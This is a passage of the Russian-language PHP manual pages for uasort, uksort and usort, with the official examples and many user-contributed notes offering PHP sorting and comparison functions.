    foreach($array as $var => $val){
        $set=false;
        foreach($result as $var2 => $val2){
            if($set==false){
                if($val>$val2 && $type=='desc' || $val<$val2 && $type=='asc'){
                    $temp=array();
                    foreach($result as $var3 => $val3){
                        if($var3==$var2) $set=true;
                        if($set){
                            $temp[$var3]=$val3;
                            unset($result[$var3]);
                        }
                    }
                    $result[$var]=$val;
                    foreach($temp as $var3 => $val3){
                        $result[$var3]=$val3;
                    }
                }
            }
        }
        if(!$set){
            $result[$var]=$val;
        }
    }
    return $result;
}

Works for ordering by integers or strings, no need to specify which.

Example:

$array=array('a' => 50, 'b' => 25, 'c' => 75);
print_r(array_sort($array));

Returns:
Array
(
[b] => 25
[a] => 50
[c] => 75
)
raul at jimi dot com dot mx 01-Dec-2005 09:50
I had an array like this:
$arr=array (1,4,3,6,5);

which returns this:
$arr[0]=1
$arr[1]=4
$arr[2]=3
$arr[3]=6
$arr[4]=5

But lets say i remove [2] which is number 3, i get:

$arr[0]=1
$arr[1]=4
$arr[3]=6
$arr[4]=5

And i want to reindex without doing a sort because i dont want to lose the order of the numbers (like a pop in a stack but in the middle of the list), i do this:

$arr=array_chunk($arr,count($arr));
$arr=$arr[0];

the result is:

$arr[0]=1
$arr[1]=4
$arr[2]=6
$arr[3]=5

This can be applied mostly for tree sorting, when you only have the id and the parent values of the node, and you want to have N levels.
james at miicro dot net 19-Jul-2005 02:49
It's useful to know that if you're using this function on a multidimensional array, php will sort the first key, then the second and so on. This is similar to being able to use SQL to order by field1, field2 etc.

So:

Array (
[0] => Array ( [category] => work [name] => Smith )
[1] => Array ( [category] => play [name] => Johnson )
[2] => Array ( [category] => work [name] => Berger )
)

will become:

Array (
[0] => Array ( [category] => play [name] => Johnson )
[1] => Array ( [category] => work [name] => Berger )
[2] => Array ( [category] => work [name] => Smith )
)

Hope it helps someone.
timc at hlyw dot com 17-Feb-2005 04:04
I dig the multi_sort function(s) from above.  But, they don't work for hash arrays.  I added a keys variable to keep track of the key value as the array gets sorted.  Feed back welcome.

<?php
function array_qsort (&$array, $column=0, $order=SORT_ASC, $first=0, $last= -2)
{
  // $array  - the array to be sorted
  // $column - index (column) on which to sort
  //          can be a string if using an associative array
  // $order  - SORT_ASC (default) for ascending or SORT_DESC for descending
  // $first  - start index (row) for partial array sort
  // $last  - stop  index (row) for partial array sort
  // $keys  - array of key values for hash array sort

  $keys = array_keys($array);
  if($last == -2) $last = count($array) - 1;
  if($last > $first) {
   $alpha = $first;
   $omega = $last;
   $key_alpha = $keys[$alpha];
   $key_omega = $keys[$omega];
   $guess = $array[$key_alpha][$column];
   while($omega >= $alpha) {
     if($order == SORT_ASC) {
       while($array[$key_alpha][$column] < $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] > $guess) {$omega--; $key_omega = $keys[$omega]; }
     } else {
       while($array[$key_alpha][$column] > $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] < $guess) {$omega--; $key_omega = $keys[$omega]; }
     }
     if($alpha > $omega) break;
     $temporary = $array[$key_alpha];
     $array[$key_alpha] = $array[$key_omega]; $alpha++;
     $key_alpha = $keys[$alpha];
     $array[$key_omega] = $temporary; $omega--;
     $key_omega = $keys[$omega];
   }
   array_qsort ($array, $column, $order, $first, $omega);
   array_qsort ($array, $column, $order, $alpha, $last);
  }
}
?>
anthony at ectrolinux dot com 08-Sep-2004 04:39
In a brief addition to the previous poster's message, the ascending sorting order used by PHP directly corresponds to ISO-8859-1 (ASCII). Therefore the character \48 (numeral 0) would be placed before the character \82 (R), which would be placed before the character \110 (n), and so forth.
arjan321 at hotmail dot com 31-Jan-2003 12:23
Ik you want to sort case insensitive, use the natcasesort()
peek at mailandnews dot com 07-Apr-2001 04:06
I ran into the same problem with case insensitive sorting. Actually I think there should be a SORT_STRING_CASE flag but I tried the following:

usort($listing, 'strcasecmp');

This didn't work (why not?), but you can do a proper case insensitive sort like this:

usort($listing, create_function('$a,$b','return strcasecmp($a,$b);'));


Сортирует массив пользовательской функцией сравнения, сохраняя ассоциацию индексов

  • « sort
  • uksort »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив пользовательской функцией сравнения, сохраняя ассоциацию индексов

uasort

(PHP 4, PHP 5, PHP 7, PHP 8)

uasort — Сортирует массив пользовательской функцией сравнения, сохраняя ассоциацию индексов

Описание

uasort(array &$array, callable $callback): true

Сортирует массив array пользовательской функцией сравнения так, чтобы ключи массива сохраняли корреляцию со значениями, с которыми они связаны.

Функцией пользуются для сортировки ассоциативных массивов, для которых важен текущий порядок элементов.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

callback

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.
8.0.0 | Теперь функция выдаст ошибку уровня E_WARNING, если параметр callback-функции, переданной в параметр callback, ожидает передачу значения по ссылке.

Примеры

Пример #1 Простой пример использования функции uasort()

<?php

// Функция сравнения
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

// Сортируемый массив
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Сортируем и выводим получившийся массив
uasort($array, 'cmp');
print_r($array);
?>

Результат выполнения приведённого примера:

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

Смотрите также

  • usort() - Сортирует массив по значениям используя пользовательскую функцию для сравнения элементов
  • uksort() - Сортирует массив по ключам пользовательской функцией сравнения
  • Сравнение функций сортировки массивов

User Contributed Notes

yannick dot battail at gmail dot com 17-Nov-2010 06:37
An Example using anonymous function.
Anonymous functions make some time the code easier to understand.
<?php
$fruits = array('Orange9','Orange11','Orange10','Orange6','Orange15');
uasort ( $fruits , function ($a, $b) {
            return strnatcmp($a,$b); // or other function/code
        }
    );
print_r($fruits);
?>
returns
Array
(
    [3] => Orange6
    [0] => Orange9
    [2] => Orange10
    [1] => Orange11
    [4] => Orange15
)
magikMaker 19-Oct-2010 02:48
a quick reminder on the syntax if you want to use uasort in a Class or Object:

<?php

// procedural:
uasort($collection, 'my_sort_function');

// Object Oriented
uasort($collection, array($this, 'mySortMethod'));

// Objet Oriented with static method
uasort($collection, array('self', 'myStaticSortMethod'));

?>
php at eden2 dot com 17-Jul-2003 04:36
Is it just me, or are the examples below misleading, and actually demonstrating situations that would be more appropriate for usort()?

After trying to make sense of the uasort() description, it sounds like it's more for sorting a 1D array like this:

"john" => "$23.12"
"tim" => "$6.50"
"bob" => "$18.54"

and getting back:

"tim" => "$6.50"
"bob" => "$18.54"
"john" => $23.12"

(assuming, of course, that your sort function is lopping off the $ and evaluating as a number -- which would complicate the use of asort() ;)


Сортирует массив по ключам пользовательской функцией сравнения

  • « uasort
  • usort »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив по ключам пользовательской функцией сравнения

uksort

(PHP 4, PHP 5, PHP 7, PHP 8)

uksort — Сортирует массив по ключам пользовательской функцией сравнения

Описание

uksort(array &$array, callable $callback): true

На месте сортирует массив (array) по ключам, для чего использует пользовательскую функцию сравнения, которая и определяет порядок.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

callback

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.
8.0.0 | Теперь функция выдаст ошибку уровня E_WARNING, если параметр callback-функции, переданной в параметр callback, ожидает передачу значения по ссылке.

Примеры

Пример #1 Пример использования функции uksort()

<?php

function cmp($a, $b)
{
$a = preg_replace('@^(a|an|the) @', '', $a);
$b = preg_replace('@^(a|an|the) @', '', $b);
return strcasecmp($a, $b);
}

$a = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);

uksort($a, "cmp");

foreach ($a as $key => $value) {
echo "$key: $value\n";
}

?>

Результат выполнения приведённого примера:

an apple: 3
a banana: 4
the Earth: 2
John: 1

Смотрите также

  • usort() - Сортирует массив по значениям используя пользовательскую функцию для сравнения элементов
  • uasort() - Сортирует массив пользовательской функцией сравнения, сохраняя ассоциацию индексов
  • Сравнение функций сортировки массивов

User Contributed Notes

smcbride at msn dot com 29-Jan-2021 07:17
This might be obvious to many, but just to help others that are trying to use this in a class.  Inside a class, you can prefix the function with self:: within the uksort(), and it will work.  Also, if it is in another class that is included, you can prefix it with the class name.

class someclass {
     private function ArraySortCMPIP($a, $b) {
          $a = ip2long($a);
          $b = ip2long($b);

          if ($a == $b) return 0;
          return ($a < $b) ? -1 : 1;
     }

     // Output
     public function PrintResults() {
          uksort($this->someIPAddressArray, 'self::ArraySortCMPIP');
          print_r($this->someIPAddressArray);
     }
}
DimeCadmium 22-Jun-2018 06:48
Don't use uksort($array, "strnatcasecmp"); ... use ksort($array, SORT_NATURAL|SORT_FLAG_CASE);
andi at example dot com 24-Feb-2016 10:58
I needed to be able to sort a string that contained numbers eg.

"Slot 1 name"
"Slot 2 name"
"Slot 10 name"

using a normal string compare the "Slot 10 name" would appear before "Slot 2 name" so I wrote little function that will compare a string taking numbers in to consideration. There may be a few edge cases that need to be taken in to consideration.

function strCmpWithNumbers( $a, $b) {
  // Split the string in to words.
  $a = explode(' ',$a);
  $b = explode(' ',$b);
  $loop = 0;
  do {
    // Get the first word from each item
    $ta = Utils::gvfa($a, $loop);
    $tb = Utils::gvfa($b, $loop);

    if (isset($ta)) {
      if (isset($tb)) {
        if (is_numeric($ta)) {
          if ($ta != $tb) {
            return $ta - $tb;
          }
        } else {
          $val = strcasecmp($ta, $tb);
          if ($val != 0) {
            return $val;
          }
        }
      } else {
        return 1; // a is set but b isn't
      }
    } else {
      return isset($b);
    }
    $loop +=1;
  } while (true);
}
Anonymous 05-Oct-2015 01:02
An associative array with known keys can be easily custom sorted using a switch statement in the callback:

NB ksort can be used beforehand to ensure expected results

ksort($array);

uksort($array, function ($a) {
    switch($a) {
        case 'pepperoni':
            return 0;
        case 'beef':
            return 1;
        case 'chicken':
            return 2;
        case 'ham':
            return 3;
        case 'vegetarian':
            return 4;
    }
});
PHPUser 06-Feb-2015 05:32
[Editor's note: the following comment may be factually incorrect]

uksort is only usable in the UK
<?php
if($country=="UK"){
  uksort();
}else{
  echo "You have to live in UK to use uksort().";
}
?>
ingo at example dot test 05-May-2014 01:30
sort with collation, to have umlauts correctly:

uksort($retval, array(Collator::create( 'de_DE' ), 'compare'));
mdsky at web dot de 23-May-2010 11:26
Case insensitive without own function:

uksort($array, "strnatcasecmp");
contacto at hardcode dot com dot ar 29-Jul-2009 06:56
need a case insensitive sort by key function? i did and couldn find it, so:

<?php
function insensitive_uksort($a,$b) {
    return strtolower($a)<strtolower($b);
}
uksort($arr, "insensitive_uksort");
?>
brian dot short at gmail dot com 07-Jul-2009 07:58
If you need to periodically sort by grades (A, A+, D-, etc.), here is a compare function that compares strings by the case-insensitive method, unless it finds a grade, in which case it correctly sorts by putting "plus" grades first, unmarked grades second, and "minus" grades last.

<?php
function cmp($a, $b)
{
   $a = preg_replace('@^(a|an|the) @', '', $a);
   $b = preg_replace('@^(a|an|the) @', '', $b);

   //special code for grades
   if (strpos( $a, "+") !== false || strpos( $b, "+") !== false  ||
       strpos( $a, "-") !== false || strpos( $b, "-") !== false ){

        $substrA = substr($a, 0, 1);
        $substrB = substr($b, 0, 1);

        $modifierA = (strlen($a) == 2) ? substr($a, 1, 1) : "";
        $modifierB = (strlen($b) == 2) ? substr($b, 1, 1) : "";

        if ($substrA == $substrB){
            //figure out plusses and minuses.
            if ($modifierA == "+"){
                return -1;
            } else if ($modifierB == "+"){
                return 1;
            }

            if ($modifierA == "-"){
                return 1;
            } else if ($modifierB == '-'){
                return -1;
            }
        } else {
            return strcasecmp($a, $b);
        }

    }
   return strcasecmp($a, $b);
}

$grades = array(
                 "C+" => 13    ,
                "C" => 10     ,
                "D+" => 8     ,
                "B+" => 7     ,
                "C-" => 6     ,
                "A-" => 5     ,
                "F" => 5      ,
                "B" => 4      ,
                "B-" => 4     ,
                "D" => 3      ,
                "D-" => 3     ,
                "A+" => 1
    );

uksort($grades, "cmp");
?>

result:  Array
(
    [A+] => 1
    [A-] => 5
    [B+] => 7
    [B] => 4
    [B-] => 4
    [C+] => 13
    [C] => 10
    [C-] => 6
    [D+] => 8
    [D] => 3
    [D-] => 3
    [F] => 5
)
Jimomighty 19-Mar-2005 07:30
...

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return ($a < $b) ? -1 : 1;
}

function uksort_tree ( &$array )
{
    // [PHP5] foreach ( $array as &$value )
    foreach ( $array as $key => $value )
    {
       if ( is_array ( $value ) )
       {
            // [PHP5] uksort_tree ( $value );
           uksort_tree ( $array[$key] );
       }
    }

    uksort( $array, "cmp" );
}

uksort_tree( $myEntryArray );

...
aleczapka at gmx dot net 22-Dec-2004 04:35
One remark regarding array_sorter class.
It won't work correctly with eg. dates from mysql like 20041206105350, cause you can't convert such number into integer. To fix it remove intval() from the code. If the variable is a number it will work without converting this to int anyways. Here is the fix.

<?php
....
if ($a == $b)
    return 0;
if ($this->sasc)
    return ($a > $b) ? 1 : -1;
else
    return ($a > $b) ? -1 : 1;
...
?>
jg at delegation dot ca 17-Dec-2004 07:41
To sort dates with uksort:

function datediff($a, $b) {

$a = date('U',$a);
$b = date('U',$b);

if ($a == $b) $r = 0;
else $r = ($a > $b) ? 1: -1;

return $r;
}
aleczapka at gmx dot net 06-Dec-2004 04:27
Here is a small and very fast object to handle sorting of multidimentional arrays by a key.
<?php
/**
* Handles multidimentional array sorting by a key (not recursive)
*
* @author Oliwier Ptak <aleczapka at gmx dot net>
*/
class array_sorter
{
    var $skey = false;
    var $sarray = false;
    var $sasc = true;

    /**
    * Constructor
    *
    * @access public
    * @param mixed $array array to sort
    * @param string $key array key to sort by
    * @param boolean $asc sort order (ascending or descending)
    */
    function array_sorter(&$array, $key, $asc=true)
    {
        $this->sarray = $array;
        $this->skey = $key;
        $this->sasc = $asc;
    }

    /**
    * Sort method
    *
    * @access public
    * @param boolean $remap if true reindex the array to rewrite indexes
    */
    function sortit($remap=true)
    {
        $array = &$this->sarray;
        uksort($array, array($this, "_as_cmp"));
        if ($remap)
        {
            $tmp = array();
            while (list($id, $data) = each($array))
                $tmp[] = $data;
            return $tmp;
        }
        return $array;
    }

    /**
    * Custom sort function
    *
    * @access private
    * @param mixed $a an array entry
    * @param mixed $b an array entry
    */
    function _as_cmp($a, $b)
    {
        //since uksort will pass here only indexes get real values from our array
        if (!is_array($a) && !is_array($b))
        {
            $a = $this->sarray[$a][$this->skey];
            $b = $this->sarray[$b][$this->skey];
        }

        //if string - use string comparision
        if (!ctype_digit($a) && !ctype_digit($b))
        {
            if ($this->sasc)
                return strcasecmp($a, $b);
            else
                return strcasecmp($b, $a);
        }
        else
        {
            if (intval($a) == intval($b))
                return 0;

            if ($this->sasc)
                return (intval($a) > intval($b)) ? -1 : 1;
            else
                return (intval($a) > intval($b)) ? 1 : -1;
        }
    }

}//end of class
?>

Sample $input_array:

Array
(
    [0] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

Example of usage:
<?php
    function multi_sort(&$array, $key, $asc=true)
    {
        $sorter = new array_sorter($array, $key, $asc);
        return $sorter->sortit();
    }
    //sort by parent_id in descending order
    $my_array = multi_sort($input_array, "parent_id", false);
?>

The result array will be:
Array
(

    [0] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )
fabriceb at gmx dot net 08-Jul-2004 06:26
(about sorting an array of objects by their properties in a class - inspired by webmaster at zeroweb dot org at usort function)
I'm using classes as an abstraction for querying records in a database and use arrays of objects to store records that have an 1 to n relationship. E.g. a class "family" has family members stored as an array of objects. Each of those objects prepresents a record in a database related to the family (by it's familyId).

To identify members, I'm using their memberId as the key of the array e.g. $family->members[$memberId].
To sort the family members AFTER fetching them with the database query, you can use the functions _objSort and sortMembers which will sort the "members" array by key using it's properties (for space reasons I didn't include the methods used to open the records):
<?php
class familyMember
{
    var $memberId;
    var $familyId;
    var $firstName;
    var $age;
    var $hairColor;
// ...
}

class family
{
    var $familyId;
    var $name;
    var $members = array(); // array of familyMember objects
    var $sortFields = array();
    var $sortDirections = array();
    // ...
    function _objSort(&$a, &$b, $i = 0)
    {
        $field        = $this->sortFields[$i];
        $direction    = $this->sortDirections[$i];

        $diff = strnatcmp($this->details[$a]->$field, $this->details[$b]->$field) * $direction;
        if ($diff == 0 && isset($this->sortFields[++$i]))
        {
            $diff = $this->_objSort($a, $b, $i);
        }

        return $diff;
    }

    function sortMembers($sortFields)
    {
        $i = 0;
        foreach ($sortFields as $field => $direction)
        {
            $this->sortFields[$i] = $field;
            $direction == "DESC" ? $this->sortDirections[$i] = -1 : $this->sortDirections[$i] = 1;
            $i++;
        }

        uksort($this->details, array($this, "_objSort"));

        $this->sortFields = array();
        $this->sortDirections = array();
    }
}
// open a family
$familyId = 5;
$family = new family($familyId);
$family->open(); // this will also fetch all members

// sort members by 3 fields
$family->sortMembers(array("firstName" => "ASC", "age" => "DESC", "hairColor" => "ASC"));
// output all family members
foreach ($family->members as $member)
{
    echo $member->firstName." - ".$member->age." - ".$member->hairColor."<br />";
}
?>

Note that this might not be the fastest thing on earth and it hasn't been tested very much yet but I hope it's useful for someone.
webmaster at kik-it at N0SP4M dot com 09-Feb-2004 10:03
The code below allows you to sort an array_A following array_B keys order, original keys and values remain associated.

<?

//main function
Function SortArrayAKeysLikeArrayBKeys(&$TheArrayToSort){
   uksort($TheArrayToSort,"SortArrayAKeysLikeArrayBKeys_cmp");
}

//the custom compare function
Function SortArrayAKeysLikeArrayBKeys_cmp($a,$b){
  global $TheArrayOrder;
  $PosA=KeyPosInArray($a,$TheArrayOrder);
  $PosB=KeyPosInArray($b,$TheArrayOrder);
  if ($PosA==$PosB){return 0;}else{return ($PosA > $PosB ? 1 : -1);}
}

//where is my key in my array
Function KeyPosInArray($Key,$Array){
   $i=0;
   $Pos=99999999;
   if($Array){
      foreach($Array as $K => $V){
         $i++;
         if($K==$Key){
            $Pos=$i;
            break;
         }
      }
   }
   return $Pos;
}

//the array you want to sort
$AnyArrayToSort['age']='19';
$AnyArrayToSort['ville']='rennes';
$AnyArrayToSort['website']='kik-it.com';
$AnyArrayToSort['region']='bretagne';
$AnyArrayToSort['code_postal']='35200';
$AnyArrayToSort['Nom']='Fred';

//the array with the correct keys/values order
$TheArrayOrder['Nom']='Whatever';
$TheArrayOrder['age']='Anything';
$TheArrayOrder['region']='What u want';
$TheArrayOrder['ville']='Something';
$TheArrayOrder['code_postal']='Nothing';

//before sort
print_r($AnyArrayToSort);
echo "<br>";
//we sort
SortArrayAKeysLikeArrayBKeys($AnyArrayToSort);
echo "<br>";
//after sort
print_r($AnyArrayToSort);
?>

Will print :

Array ( [age] => 19 [ville] => rennes [website] => kik-it.com [region] => bretagne [code_postal] => 35200 [Nom] => Fred )

Array ( [Nom] => Fred [age] => 19 [region] => bretagne [ville] => rennes [code_postal] => 35200 [website] => kik-it.com )

The keys not listed in the $TheArrayOrder will appear at the end of your sorted array (only if Key Pos < 99999999 ;o)
guss at typo dot co dot il 07-Dec-2003 12:18
Regarding the recursive sorting function above:
Genrally speaking, any recursion can be reimplemented using simple iteration. in the specific case, using recursion to compare strings has a huge performance impact while a simple loop would suffice and be faster and more simple.
Recursion is only good if it simplifies your code or your understanding of the concept. the previous example does neither, especially as it does a lot of repetitive things in each iteration, such as asigning the character order constant, rebuilding it into an array and such

For example, the string comparison could be written as such :
function str_compare($a,$b) {
    $order="aA??bBcC&#269;&#268;..."; // longer normally & without that html entities
    $default = strlen($a) - strlen($b);
    $minlen = strlen($a) < strlen($b) ? strlen($a) : strlen($b);
    for ($i = 0; $i < $minlen; $i++) {
        $pos_a=strpos($order,$a[$i]);
        $pos_b=strpos($order,$b[$i]);
        if ($pos_a != $pos_b)
            return $pos_a - $pos_b;
    }
    return $default;
}

Which is much simpler and faster.
Note that the above function will break for characters that are not listed in $order. it should be failry trivial to fix it.
ignatius dot reilly at free dot fr 13-Nov-2003 10:59
To use a more complicated comparison function, one can use a callback to a method of an object instance.
For example the following will take an array $arr whose keys are the same as those of $reference, and reorder $arr so that the keys appear in the same order as in $reference.

class kcmp {
    var $reference ;
    function kcmp( $reference ) {
       $this->reference = $reference ;
    }
    function kcompare( $a, $b ) {
       $keys = array_keys( $this->reference ) ;
       $position_a = array_search( $a, $keys ) ;
       $position_b = array_search( $b, $keys ) ;
       return  $position_a < $position_b ? -1 : 1 ;
    }
}

$reference = array(
    "k2" => "a2",
    "k3" => "a3",
    "k1" => "a1"
) ;
$arr = array(
    "k1" => "b1",
    "k2" => "b2",
    "k3" => "b3"
) ;
print_r( $arr ) ;
uksort( $arr, array( new kcmp( $reference ), "kcompare" ) ) ;
print_r( $arr ) ;


Сортирует массив по значениям используя пользовательскую функцию для сравнения элементов

  • « uksort
  • Классы и объекты »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив по значениям используя пользовательскую функцию для сравнения элементов

usort

(PHP 4, PHP 5, PHP 7, PHP 8)

usort — Сортирует массив по значениям используя пользовательскую функцию для сравнения элементов

Описание

usort(array &$array, callable $callback): true

Сортирует array по значениям, используя предоставленную пользователем функцию сравнения для определения порядка.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание: Эта функция присваивает новые ключи элементам array. Она удалит все существующие ключи, а не просто переупорядочит их.

Список параметров

array

Входной массив.

callback

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.
8.0.0 | Теперь функция выдаст ошибку уровня E_WARNING, если параметр callback-функции, переданной в параметр callback, ожидает передачу значения по ссылке.

Примеры

Пример #1 Пример использования usort()

<?php
function cmp($a, $b)
{
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

$a = array(3, 2, 5, 6, 1);

usort($a, "cmp");

foreach ($a as $key => $value) {
echo "$key: $value\n";
}
?>

Результат выполнения приведённого примера:

0: 1
1: 2
2: 3
3: 5
4: 6

Для ещё большего упрощения внутреннего сравнения можно использовать оператор spaceship (космический корабль).

<?php
function cmp($a, $b)
{
return $a <=> $b;
}

$a = array(3, 2, 5, 6, 1);

usort($a, "cmp");

foreach ($a as $key => $value) {
echo "$key: $value\n";
}
?>

Замечание:

Очевидно, что для этого тривиального случая более подходит функция sort().

Пример #2 Пример использования функции usort() с многомерными массивами

<?php
function cmp($a, $b)
{
return strcmp($a["fruit"], $b["fruit"]);
}

$fruits[0]["fruit"] = "lemons";
$fruits[1]["fruit"] = "apples";
$fruits[2]["fruit"] = "grapes";

usort($fruits, "cmp");

foreach ($fruits as $key => $value) {
echo "\$fruits[$key]: " . $value["fruit"] . "\n";
}
?>

При сортировке многомерного массива переменные $a и $b содержат ссылки на первые два индекса массива.

Результат выполнения приведённого примера:

$fruits[0]: apples
$fruits[1]: grapes
$fruits[2]: lemons

Пример #3 Пример использования usort() с методом класса

<?php
class TestObj {
private string $name;

function __construct($name)
{
$this->name = $name;
}

/* This is the static comparing function: */
static function cmp_obj($a, $b)
{
return strtolower($a->name) <=> strtolower($b->name);
}
}

$a[] = new TestObj("c");
$a[] = new TestObj("b");
$a[] = new TestObj("d");

usort($a, [TestObj::class, "cmp_obj"]);

foreach ($a as $item) {
echo $item->name . "\n";
}
?>

Результат выполнения приведённого примера:

b
c
d

Пример #4 Пример использования функции usort() с применением анонимной функции для сортировки многомерного массива

<?php
$array[0] = array('key_a' => 'z', 'key_b' => 'c');
$array[1] = array('key_a' => 'x', 'key_b' => 'b');
$array[2] = array('key_a' => 'y', 'key_b' => 'a');

function build_sorter($key) {
return function ($a, $b) use ($key) {
return strnatcmp($a[$key], $b[$key]);
};
}

usort($array, build_sorter('key_b'));

foreach ($array as $item) {
echo $item['key_a'] . ', ' . $item['key_b'] . "\n";
}
?>

Результат выполнения приведённого примера:

y, a
x, b
z, c

Пример #5 Пример использования usort() с оператором spaceship (космический корабль)

Оператор spaceship (космический корабль) позволяет прямолинейно сравнивать составные значения по нескольким осям. В следующем примере $people сортируется по фамилии, а затем по имени, если фамилия совпадает.

<?php
$people[0] = ['first' => 'Adam', 'last' => 'West'];
$people[1] = ['first' => 'Alec', 'last' => 'Baldwin'];
$people[2] = ['first' => 'Adam', 'last' => 'Baldwin'];

function sorter(array $a, array $b) {
return [$a['last'], $a['first']] <=> [$b['last'], $b['first']];
}

usort($people, 'sorter');

foreach ($people as $person) {
print $person['last'] . ', ' . $person['first'] . PHP_EOL;
}
?>

Результат выполнения приведённого примера:

Baldwin, Adam
Baldwin, Alec
West, Adam

Смотрите также

  • uasort() - Сортирует массив пользовательской функцией сравнения, сохраняя ассоциацию индексов
  • uksort() - Сортирует массив по ключам пользовательской функцией сравнения
  • Сравнение функций сортировки массивов

User Contributed Notes

gus dot antoniassi at gmail dot com 10-Jun-2019 01:23
This is a simple way to sort based on a "priority list":

<?php

$order = [1,3,0,2];
$arr =   [
    [ 'id' => 0 ],
    [ 'id' => 1 ],
    [ 'id' => 2 ],
    [ 'id' => 3 ],
];

uasort(
    $arr,
    function ($a, $b) use ($order) {
        return array_search($a['id'], $order) <=> array_search($b['id'], $order);
    }
);

print_r($arr);

?>

This will return:

Array
(
    [1] => Array
        (
            [id] => 1
        )

    [3] => Array
        (
            [id] => 3
        )

    [0] => Array
        (
            [id] => 0
        )

    [2] => Array
        (
            [id] => 2
        )

)

Note that if you have a value in $arr that is not on the $order list, you will need additional checks since the array_search function returns FALSE for undefined indexes.
chris at candm dot org dot uk 19-Jan-2019 01:15
In case anyone is interested, comparative timings over 100000000 runs
Based on comparing integers (500 and 501)
Spaceship:4
()?: operator:10
Subtraction:2

Based on comparing floats (500.1 and 501.3) (caveats noted)
Spaceship:5
()?: operator:9
Subtraction:3

Based on comparing strings ("five" and "four")
Spaceship:7
()?: operator:17
(Subtraction obviously not available)

Note: a dummy run was done with an empty loop and the elapsed time for this was subtracted from each of the above times so that they reflect ONLY the time to do the comparisons. As for significance. unless you are doing very large numbers of comparisons where spaceships are the order of the day, the difference is insignificant.
inigo dot grimbergen at gmail dot com 14-Jan-2017 06:51
to sort with numeric and empty values  and have the smallest on top:
<?php
    usort($list, function($a, $b) {
        if( $a == null && $b != null ) return 1;
        if( $a != null && $b == null ) return -1;
        return $a > $b ? 1 : -1;
    });
?>
returns
1
2
3
null
null
null
Hayley Watson 08-Apr-2013 10:30
As the documentation says, the comparison function needs to return an integer that is either "less than, equal to, or greater than zero". There is no requirement to restrict the value returned to -1, 0, 1.

<?php
usort($array, function($a, $b) {
    if($a->integer_property > $b->integer_property) {
        return 1;
    }
    elseif($a->integer_property < $b->integer_property) {
        return -1;
    }
    else {
        return 0;
    }
});
?>

can be simplified to

<?php
usort($array, function($a, $b) {
    return $a->integer_property - $b->integer_property;
});
?>

This of course applies to any comparison function that calculates an integer "score" for each of its arguments to decide which is "greater".
andi_mclean at ntlworld dot com 04-Feb-2012 03:58
